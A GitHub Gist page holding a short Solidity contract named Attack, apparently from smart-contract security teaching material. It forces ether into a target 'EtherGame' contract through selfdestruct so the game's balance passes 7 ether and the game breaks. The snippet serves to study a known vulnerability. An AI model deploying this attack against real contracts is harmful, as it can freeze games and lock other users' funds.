Created
June 2, 2022 10:19
-
-
Save az0mb13/03755208456816d7ebc30d8cbd22143e to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.13; | |
contract Attack { | |
EtherGame etherGame; | |
constructor(EtherGame _etherGame) { | |
etherGame = EtherGame(_etherGame); | |
} | |
function attack() public payable { | |
// You can simply break the game by sending ether so that | |
// the game balance >= 7 ether | |
// cast address to payable | |
address payable addr = payable(address(etherGame)); | |
selfdestruct(addr); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment